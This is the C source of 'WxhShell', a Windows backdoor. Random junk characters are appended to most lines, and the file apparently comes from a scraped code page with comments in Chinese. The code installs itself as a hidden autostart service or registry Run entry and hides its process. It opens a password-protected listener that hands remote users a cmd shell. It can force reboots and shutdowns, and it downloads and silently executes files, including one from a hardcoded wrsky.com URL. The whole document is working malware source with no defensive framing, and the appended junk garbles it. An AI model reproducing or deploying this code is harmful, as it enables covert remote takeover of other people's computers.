    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %i^%D  
    if(Boot(SHUTDOWN)) htkyywv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7u!p.kN  
    else { t%=ylEPW  
    closesocket(wsh); *rqih_j0  
    ExitThread(0); )\s:.<?EQ  
    } 9t)t-t#P;  
    break; QGsUG_/_P  
    } CwT52+Jb  
  // 获取shell {UwJg  
  case 's': { s~TYzfA  
    CmdShell(wsh); KRz\ct|  
    closesocket(wsh); i1scoxX3\  
    ExitThread(0); O,DA{> *m  
    break; M,<%j  
  } *Fq Nzly  
  // 退出 yJgnw6>r2  
  case 'x': { ^91k@MC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L6',s4  
    CloseIt(wsh); 1*=[% d7  
    break; }]f)Fz  
    } .&L#%C  
  // 离开 i/WYjo  
  case 'q': { D'</eJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #$#{QEh0}  
    closesocket(wsh); c[Y7tj%y  
    WSACleanup(); / P{f#rV5  
    exit(1); /.}&yRR  
    break; 5#iv[c  
        } MEo+S  
  } Ib!`ChZ  
  } !.F`8OD`u  
 ) .#,1  
  // 提示信息 AJq'~fC;I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :yO)g]KF  
} 3J@# V '  
  } J4x1qY)Y&v  
56L>tP  
  return; &;,w})  
} O/Da8#S<  
<iL+/^#  
// shell模块句柄 m-;u]X=a  
int CmdShell(SOCKET sock) B-Fu/n  
{ ;;UvK v  
STARTUPINFO si; lMlXK4-  
ZeroMemory(&si,sizeof(si)); w8>p[F5`O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cDLS)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :JPI#zZun  
PROCESS_INFORMATION ProcessInfo; rs!J<CRq  
char cmdline[]="cmd"; - 5A"TNU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); siOeR@> X  
  return 0; `oq 3G }  
} /(vT49(]  
x!Wl&  
// 自身启动模式 5vY1 XZt{  
int StartFromService(void) Y5(`/  
{ \alRBHqE  
typedef struct "IB)=Hc  
{ jp2l}C  
  DWORD ExitStatus; }!B<MGBd  
  DWORD PebBaseAddress; C[wnor!  
  DWORD AffinityMask; iT I W;Cv  
  DWORD BasePriority; V_0e/7}Ya  
  ULONG UniqueProcessId; II),m8G  
  ULONG InheritedFromUniqueProcessId; Ma_! 1Y  
}   PROCESS_BASIC_INFORMATION; ^@jOS{f l  
Oq|pd7fcgm  
PROCNTQSIP NtQueryInformationProcess; cITQ,ah  
CK.Z-_M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AEEy49e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e}aD <E G  
~Ge-7^Fo7  
  HANDLE             hProcess; 5$N4< Lo7  
  PROCESS_BASIC_INFORMATION pbi; .XS rLb?  
R1?g6. Mq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ynDa4HB  
  if(NULL == hInst ) return 0; '0w'||#1  
$] w&`F-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6nxf <1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y8 `H*s@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *bwLi h!}H  
!sfUrUu  
  if (!NtQueryInformationProcess) return 0; b8T'DY;~  
 ~)WE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2D&tDX<  
  if(!hProcess) return 0; KWU#Swa`  
6\'v_A O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >b<br  
Z+Z`J; ,  
  CloseHandle(hProcess); u:fiil$  
C9({7[k^%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hX~IZ((Hi8  
if(hProcess==NULL) return 0; #y2="$ V  
UB?a-jGZ K  
HMODULE hMod; :aco$ZNH5  
char procName[255]; Qp%kX@Z'  
unsigned long cbNeeded; llQDZ}T  
k g+"Ta[9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >m%\SuXq  
YdIV_&-W  
  CloseHandle(hProcess); ]vhh*  
O{LWQ"@y  
if(strstr(procName,"services")) return 1; // 以服务启动 H@'Y>^z?  
dht1I`i"B  
  return 0; // 注册表启动 T4._S:~  
} KJJ8P`Kx  
DKYrh-MN  
// 主模块 ,I'Y)SLx  
int StartWxhshell(LPSTR lpCmdLine) \y#gh95  
{ Pxy(YMv  
  SOCKET wsl; c~z{/L  
BOOL val=TRUE; dIMs{!  
  int port=0; 5U%u S^%DP  
  struct sockaddr_in door; :6Bk<  
PK!=3fK4\F  
  if(wscfg.ws_autoins) Install(); D55dD>  
&!Y^DR/  
port=atoi(lpCmdLine); ~99Ta]U  
fs7JA=?:  
if(port<=0) port=wscfg.ws_port; hDzKB))<w  
sd.:PE <  
  WSADATA data; ,SS@]9A &  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ow%s_yV]R  
F5{~2~Cw(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zgqe@;{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8[ :FU  
  door.sin_family = AF_INET; t~Ds)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CKrh14ul  
  door.sin_port = htons(port); J'Gn M?M  
3|g'1X}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b8Y1.y"#  
closesocket(wsl); D)f hk!<  
return 1; 2'_Oi-&  
} E#8`X  
A]ciox$AjW  
  if(listen(wsl,2) == INVALID_SOCKET) { \S1WF ?<,  
closesocket(wsl); <-X)<k  
return 1; {.;MsE  
} ]%F3 xzOk  
  Wxhshell(wsl); |OuZaCJG  
  WSACleanup(); qvhTc6oH  
.kvuI6H  
return 0; l% K9Ke  
i#&]{]}Qv  
} vQYd!DSh  
F(}d|z@@  
// 以NT服务方式启动 l'?/$?'e_Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _8DY9GaE  
{ 03AYW)"}M  
DWORD   status = 0; yz,ak+wp  
  DWORD   specificError = 0xfffffff; 1&U'pp|T  
(\,mA-%E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =`Nnd@3v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fl^.J<Dz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !Kd/ lDY  
  serviceStatus.dwWin32ExitCode     = 0; :n{rVn}G  
  serviceStatus.dwServiceSpecificExitCode = 0; @U:WWTzf  
  serviceStatus.dwCheckPoint       = 0; sw8Ic\vT  
  serviceStatus.dwWaitHint       = 0; a{el1_DIGK  
jpT!di  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~\Fde^1  
  if (hServiceStatusHandle==0) return; b]Oc6zR,,~  
2mVH*\D  
status = GetLastError(); i#iY;R8  
  if (status!=NO_ERROR) )6^b\`  
{ Vr`UF0_3q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z35n3q  
    serviceStatus.dwCheckPoint       = 0; y @h^  
    serviceStatus.dwWaitHint       = 0; 9{?<.%  
    serviceStatus.dwWin32ExitCode     = status; 24>{T5E  
    serviceStatus.dwServiceSpecificExitCode = specificError; j?3J-}XC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?^5W.`Y2i  
    return; ps_CQh0  
  } ib*$3Fn~  
5"]PwC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R qOEQ*k  
  serviceStatus.dwCheckPoint       = 0; SL>>]A,E<`  
  serviceStatus.dwWaitHint       = 0; >c8zMd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ bD 3  
} ;x| 4Tm  
 Js'COO  
// 处理NT服务事件,比如:启动、停止 Xl@nv9m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "JbFbcj  
{ /QD}_lh;,  
switch(fdwControl) nU||Jg  
{ VOp8 ,!  
case SERVICE_CONTROL_STOP: %U-KQI0  
  serviceStatus.dwWin32ExitCode = 0; !A&Vg #  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >2Z:=HT  
  serviceStatus.dwCheckPoint   = 0; pJK puoiX  
  serviceStatus.dwWaitHint     = 0; NJLU +b yU  
  { d #y{eV$Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^5QSV\X  
  } VCkhK9(N  
  return; jFbz:aUF  
case SERVICE_CONTROL_PAUSE: Eki7bT@/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W~Eq_J?I  
  break; x]Q+M2g?  
case SERVICE_CONTROL_CONTINUE: }us%G&A2u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _dIv{L!  
  break; _H<ur?G  
case SERVICE_CONTROL_INTERROGATE: -Y2h vC  
  break; 'R,1Jmx  
}; *.n9D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T->O5t c  
} Y&]pC  
Ab cmI*y  
// 标准应用程序主函数 ,Es5PmV@$%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I]jVnQ>&  
{ bmzs!fg_~R  
}NiJDs  
// 获取操作系统版本 onHUi]yYu{  
OsIsNt=GetOsVer(); WVf;uob{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @;JT }R H-  
!N?|[n1  
  // 从命令行安装 `b# w3 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bn-%).-ED  
Zb<DgJ=3  
  // 下载执行文件 SN\;&(?G  
if(wscfg.ws_downexe) { =DcKHL(m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /'!F \ kz  
  WinExec(wscfg.ws_filenam,SW_HIDE); +w%MwPC7`  
} ){L`hQ*=w  
v|CRiwx  
if(!OsIsNt) { J:M^oA'N:>  
// 如果时win9x,隐藏进程并且设置为注册表启动 P_lk4 0X  
HideProc(); f:=q=i  
StartWxhshell(lpCmdLine); }V6}>!Sb  
} 9iUkvnphh  
else qwiM .b5  
  if(StartFromService()) *:_ xy{m\  
  // 以服务方式启动 & i)p^AmM  
  StartServiceCtrlDispatcher(DispatchTable); Cp_"PvTmT  
else V: 2|l!l*  
  // 普通方式启动 q#c\  
  StartWxhshell(lpCmdLine); +f;z{)%B  
r }pYm'e  
return 0; pc:~_6S  
} 0waQw7 E  
[1G4he%  
Mp7r`A,6  
Y[ a$~n^:n  
=========================================== Vdh5s292h  
&NB[:S =  
Ag#p )  
W5HC7o\4  
N=)N   
eiJ $}\qJL  
" 7z5AI!s_  
83OOM;'  
#include <stdio.h> V`G)8?%Vy  
#include <string.h> u=p([ 5]  
#include <windows.h> *^}(LoPZ  
#include <winsock2.h> xBl}=M?Qu  
#include <winsvc.h> lJ:B9n3OzT  
#include <urlmon.h> k 32 Jz.\B  
@0-<|,^]  
#pragma comment (lib, "Ws2_32.lib") AW%^Xt  
#pragma comment (lib, "urlmon.lib") ]M-j_("&  
z;2kKQZm  
#define MAX_USER   100 // 最大客户端连接数 /2~qm/%Q  
#define BUF_SOCK   200 // sock buffer f0O"Hm$Z  
#define KEY_BUFF   255 // 输入 buffer ~eA7:dZLb  
A@f`g[q  
#define REBOOT     0   // 重启 xCiY jl$  
#define SHUTDOWN   1   // 关机 rcY[jF  
[8l8 m6  
#define DEF_PORT   5000 // 监听端口 vRVQ:fw  
H+;>>|+:~  
#define REG_LEN     16   // 注册表键长度 #q6jE  
#define SVC_LEN     80   // NT服务名长度 at/besW  
I[c/) N  
// 从dll定义API T%VC$u4F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C8e{9CF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qI5_@[S*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3tA6r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8%U+y0j6b  
PL%U  
// wxhshell配置信息 FI Io{ru  
struct WSCFG { [(F.x6z)  
  int ws_port;         // 监听端口 mC8c`# 1T  
  char ws_passstr[REG_LEN]; // 口令 _r?H by<b  
  int ws_autoins;       // 安装标记, 1=yes 0=no LS?3 >1g  
  char ws_regname[REG_LEN]; // 注册表键名 Zb^0EbV  
  char ws_svcname[REG_LEN]; // 服务名 4pduzO'I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a>ZV'~zTf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !c[?$#W4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nulVQOj|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '[I?G6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1\$xq9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W{*U#:Jx1  
 wC}anq>>  
}; \h!%U*!7{  
Xt_8=Q  
// default Wxhshell configuration 9NBFG~)|l[  
struct WSCFG wscfg={DEF_PORT, t ux/@}I  
    "xuhuanlingzhe", )4toBDg"  
    1, OT+=H)/  
    "Wxhshell", a{GPAzO+  
    "Wxhshell", >DP9S@W  
            "WxhShell Service", LD0x 4zm$m  
    "Wrsky Windows CmdShell Service", .Wc<(pfa  
    "Please Input Your Password: ", ~+/IzckrG  
  1, AD_")_B|i  
  "http://www.wrsky.com/wxhshell.exe",  zN: VT&  
  "Wxhshell.exe" bzF>Efza  
    }; -B*= V  
;%0$3a  
// 消息定义模块 &z+nNkr?yN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +? E~F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6k|o<`~,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *%=BcV+,  
char *msg_ws_ext="\n\rExit."; |a*VoMZ  
char *msg_ws_end="\n\rQuit."; <v>^#/.0  
char *msg_ws_boot="\n\rReboot..."; )+OI}  
char *msg_ws_poff="\n\rShutdown..."; +C' u!^ )  
char *msg_ws_down="\n\rSave to "; |A0BYzlVc  
F>d B@V-  
char *msg_ws_err="\n\rErr!"; | (JxtQqQg  
char *msg_ws_ok="\n\rOK!"; !KKkw4  
=\"88e;b2  
char ExeFile[MAX_PATH]; V|gW%Z,j  
int nUser = 0; Nj rF":'Y  
HANDLE handles[MAX_USER]; @n"7L2wY  
int OsIsNt; m9o{y6_j*  
%JF^@\E!|  
SERVICE_STATUS       serviceStatus; p.A_,iE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UyTsUkY  
6!*be|<&  
// 函数声明 w9< <|ZaU  
int Install(void); xQ+UZc  
int Uninstall(void); X ^8@T  
int DownloadFile(char *sURL, SOCKET wsh); ^~9fQJNs  
int Boot(int flag); 2Tec#eYe  
void HideProc(void); L-? ?%_=  
int GetOsVer(void); ,R#pQ 4  
int Wxhshell(SOCKET wsl); dWqKt0uh!  
void TalkWithClient(void *cs); $P&{DOiKS  
int CmdShell(SOCKET sock); #.L9/b(  
int StartFromService(void); ZP~Mgz{f  
int StartWxhshell(LPSTR lpCmdLine); wI8  
>'ev_eAk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b+Vfi9<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 j"G~TM  
P{fT5K|  
// 数据结构和表定义 ~" |MwR!0  
SERVICE_TABLE_ENTRY DispatchTable[] = `?E|frz[  
{ M(8dKj1+  
{wscfg.ws_svcname, NTServiceMain}, n_QSuh/Wn  
{NULL, NULL} )O\w'|$G  
}; 10R#} ~D  
nsn  
// 自我安装 SQ'\Kd=  
int Install(void) VzD LGLH  
{ J_ NY:B  
  char svExeFile[MAX_PATH]; [$M=+YRHMW  
  HKEY key; K)b@,/5  
  strcpy(svExeFile,ExeFile); K</EVt,U~  
0Xo>f"2<f  
// 如果是win9x系统,修改注册表设为自启动 ;E:vsVK  
if(!OsIsNt) { &n$kVNE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iue}AGxu:{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); epN> ;e z  
  RegCloseKey(key); !iv6k~.e'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _|+}4 ap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sjGy=d{:oL  
  RegCloseKey(key); kZ<0|b  
  return 0; yX 9 .yq  
    } E{s p  
  } $ix:S$  
} S:B$c>  
else { q8A;%.ZLG  
f euATL]  
// 如果是NT以上系统,安装为系统服务 }a O6%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8u8-:c%{  
if (schSCManager!=0) k_;g-r,  
{ MrjgV+P}[  
  SC_HANDLE schService = CreateService 5"sd  
  ( +pUG6.j%  
  schSCManager, W4Z8U0co  
  wscfg.ws_svcname, +MZsL7%  
  wscfg.ws_svcdisp, dCA| )  
  SERVICE_ALL_ACCESS, P* X^)R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oZ,J{I!L  
  SERVICE_AUTO_START, B7x( <!B  
  SERVICE_ERROR_NORMAL, 5PY4PT=G  
  svExeFile, `PY=B$?{4  
  NULL, FEY_(70  
  NULL, [=<vapZt  
  NULL, Me 5Xd|  
  NULL, RN^<bt{_U  
  NULL K* R  
  ); -al\* XDz  
  if (schService!=0) ca=sc[ $+  
  { R?{f:,3R  
  CloseServiceHandle(schService); r=6N ZoZ  
  CloseServiceHandle(schSCManager); 8c`E B-y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [#@\A]LO  
  strcat(svExeFile,wscfg.ws_svcname); i+qt L3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;*%3J$T+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,J6t 1V  
  RegCloseKey(key); YCl&}/.pA  
  return 0; >Nam@,hm  
    } ZLDO&}  
  } "DO|B=EejP  
  CloseServiceHandle(schSCManager); 2# 72B  
} Bnp\G h  
} UuS6y9@v  
Qm_IU!b  
return 1; WOg pDs  
} bv^wE,+?o  
f9K+o-P.h  
// 自我卸载 7 D(Eo{ue  
int Uninstall(void) CdZ. T/x  
{ m!5MGq~  
  HKEY key; 7Pe<0K)s(  
!zVjbYWY  
if(!OsIsNt) {  $UD$NSl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;!S i_b2  
  RegDeleteValue(key,wscfg.ws_regname); @.&KRAZ  
  RegCloseKey(key); shgZru  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; ,Nvg6c  
  RegDeleteValue(key,wscfg.ws_regname); ~6A;H$dr  
  RegCloseKey(key); _u3%16,o  
  return 0; ARUzEo gcf  
  } e0<Wed  
} u>ZH-nw O  
} FMX ^k  
else { bMq)[8,N  
buldA5*!o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !'eh@BU;  
if (schSCManager!=0) s%QCdU ]  
{ tWyl&,3?1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a[VX)w_W{  
  if (schService!=0) cYgd1  
  { 9!_JV;2  
  if(DeleteService(schService)!=0) { r^7eK)XA_  
  CloseServiceHandle(schService); _z=yt t9D  
  CloseServiceHandle(schSCManager); ."Kp6s`k  
  return 0; gy1R.SN  
  } 9Y:Iha`$w  
  CloseServiceHandle(schService); b_&:tE--]  
  } k4d;4D?  
  CloseServiceHandle(schSCManager); w~C\5 i  
} uZM%F)  
} MQe|\SMd  
DH7]TRCMZ)  
return 1; tmd{G x}c  
} C{:U<q  
G#Kw6  
// 从指定url下载文件 1Ep7CV-n}  
int DownloadFile(char *sURL, SOCKET wsh) I5*<J n  
{ n-9a 0_{k  
  HRESULT hr; uZTbJ3$$  
char seps[]= "/"; 2KlVj]!7  
char *token; <(t{C8>g%  
char *file; mlYkn  
char myURL[MAX_PATH]; \sAkKPI  
char myFILE[MAX_PATH]; o@m7@$7  
!K-qoBqKM  
strcpy(myURL,sURL); X$Shi *U[  
  token=strtok(myURL,seps); c|@OD3w2lM  
  while(token!=NULL) X?YT>+g;  
  { % *ng *  
    file=token; ]VR79l  
  token=strtok(NULL,seps); #<y/m*Ota  
  } ^-L nO%h?  
b")O#v.  
GetCurrentDirectory(MAX_PATH,myFILE); Z;z,dw  
strcat(myFILE, "\\"); m 7S`u  
strcat(myFILE, file); 27i-B\r  
  send(wsh,myFILE,strlen(myFILE),0); ^RE[5h6^q  
send(wsh,"...",3,0); L&KL]n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P2&0bNY  
  if(hr==S_OK) HVdB*QEH  
return 0; ^M1jv(  
else Uw]o9 e0S  
return 1; }vU^g PH  
Py?e+[cN  
} |{ =Jp<} s  
I s|_  
// 系统电源模块 E9b>wP  
int Boot(int flag) 1+"d-`'Z2O  
{ qpQiMiB#g'  
  HANDLE hToken; X(O:y^sX}  
  TOKEN_PRIVILEGES tkp; .}GOHW)}  
*0vRVlYf  
  if(OsIsNt) { IB$i ^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7^V`B^Vu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DR @yd,  
    tkp.PrivilegeCount = 1; Jz4;7/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D9H%jDv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S}VN(g  
if(flag==REBOOT) { ex#-,;T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <`WDNi$Y  
  return 0; l9]nrT1Hy  
} >(_2'c*[w  
else { +xAD;A4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }~Do0XUH  
  return 0; \?wKs  
} 1h|qxYO  
  } nXk9 IG(  
  else { ~]24">VZf  
if(flag==REBOOT) { \irKM8]LJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lD'^6  
  return 0; mE;^B%v  
} !u:Fn)j  
else { d}  5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A#{I- *D[  
  return 0; p I.~j]*:{  
} o^/ fr&,9  
} M1]w0~G  
\vx'+}  
return 1; LN) yQ-  
} ~c5 5LlO>  
~Y{]yBGoF  
// win9x进程隐藏模块 R%~~'/2V  
void HideProc(void) j+>[~c;0)  
{  ^Y!$WP  
;1s;"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q,_E HPc  
  if ( hKernel != NULL ) .76Z  
  { 'K}2m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xnJ#}-.7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lYS "  
    FreeLibrary(hKernel); mI\[L2x  
  } Bio QV47B  
,$aqF<+;  
return; w11L@t[5W8  
} I*f@M}  
1d842pt  
// 获取操作系统版本  fOKAy'  
int GetOsVer(void) \rT>&o .i  
{ 0C3Y =F  
  OSVERSIONINFO winfo; Z%b1B<u$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y9 Bk$$#\  
  GetVersionEx(&winfo); 1vAJ(O{-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fh66Gn,  
  return 1; 1D2RhM%  
  else o.Bbb=*rZ  
  return 0; IGo5b-ds  
} 6-\' *5r  
D51s)?  
// 客户端句柄模块 -<AGCiLz  
int Wxhshell(SOCKET wsl) [g}0.J`_  
{ n<@C'\j@  
  SOCKET wsh; (WP^}V5  
  struct sockaddr_in client; O2f-{jnTz,  
  DWORD myID; **oDQwW]*  
({$rb-  
  while(nUser<MAX_USER) }IdkXAB.  
{ .]a`-Ofn  
  int nSize=sizeof(client); Eg2SC?5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1.<gC  
  if(wsh==INVALID_SOCKET) return 1; &T ^bv*P  
A;6ew4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C[l5[DpH  
if(handles[nUser]==0) .eorwj]yb  
  closesocket(wsh); x8C *  
else ^ 4p$@5zH  
  nUser++; -G'3&L4 D  
  } s$lJJL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L s3r( Tf  
rJB/)4 mE  
  return 0; k'sPA_|  
} -a"b:Q  
wbk$(P'gN  
// 关闭 socket gR_Exs'K  
void CloseIt(SOCKET wsh) ]US!3R^  
{ *o!#5c  
closesocket(wsh); rt?*eC1b+Z  
nUser--; r^ '  
ExitThread(0); K$s{e0 79  
} \C2HeA\#SW  
^>eV}I5ak  
// 客户端请求句柄 (h[. Ie  
void TalkWithClient(void *cs) ,% .)mf  
{ G,1g~h%I$  
^gY'^2bzxu  
  SOCKET wsh=(SOCKET)cs; !kH 1|  
  char pwd[SVC_LEN]; 'z=d&K  
  char cmd[KEY_BUFF]; 3{Zd<JYg4-  
char chr[1]; hM=X# ;  
int i,j; v0bP|h[t  
Id>I.e4  
  while (nUser < MAX_USER) { 64<*\z_  
znIS2{p/`  
if(wscfg.ws_passstr) { [o7Qr?RN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3a}c'$F>_'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g&8-X?^Q  
  //ZeroMemory(pwd,KEY_BUFF); rd=+[:7L  
      i=0; I= cayR  
  while(i<SVC_LEN) { :KGPQ@:O  
-[h|*G.J  
  // 设置超时 ~\<L74BB  
  fd_set FdRead; : &~LPmJ  
  struct timeval TimeOut; #>sI XY  
  FD_ZERO(&FdRead); M7-2;MZ  
  FD_SET(wsh,&FdRead); HXPq+  
  TimeOut.tv_sec=8; x0%@u^BF  
  TimeOut.tv_usec=0; am7~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [F{P0({%?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !HP=Rgh  
/xB O;'rR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &;<'AF  
  pwd=chr[0]; ]*Kv[%r07c  
  if(chr[0]==0xd || chr[0]==0xa) { 8kE3\#);\  
  pwd=0; =Tfm~+7nE  
  break; [| N73m,&  
  } jw0wR\1  
  i++; O]j<$GG!  
    } i|28:FJA  
*D1vla8  
  // 如果是非法用户,关闭 socket M 5`hMfg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EW+QVu@  
}  }_7  
9w=[}<E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lnF{5zc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E Q:6R|L  
8PWEQ<ev7>  
while(1) { >Pvz5Hf/wW  
NYzBfL x  
  ZeroMemory(cmd,KEY_BUFF); Ry?f; s  
_sY; dS/  
      // 自动支持客户端 telnet标准    P.mlk>r  
  j=0; .nEiYS|T  
  while(j<KEY_BUFF) { WF2t{<]^e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k dhwnO  
  cmd[j]=chr[0]; U~M!T#\s  
  if(chr[0]==0xa || chr[0]==0xd) { Gi*_ &  
  cmd[j]=0;  s=556  
  break; %36@1l-N  
  } jvo^I$|2h  
  j++; vUDMl Z  
    } 'u d[#@2  
5du xW>D  
  // 下载文件 Iv*u#]{t  
  if(strstr(cmd,"http://")) { ,zxv>8Nt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'rA(+-.M;  
  if(DownloadFile(cmd,wsh)) b/ h#{'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !/=.~B  
  else r\)bN4-g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;WgUhA ;q  
  } 7:<A_OLi  
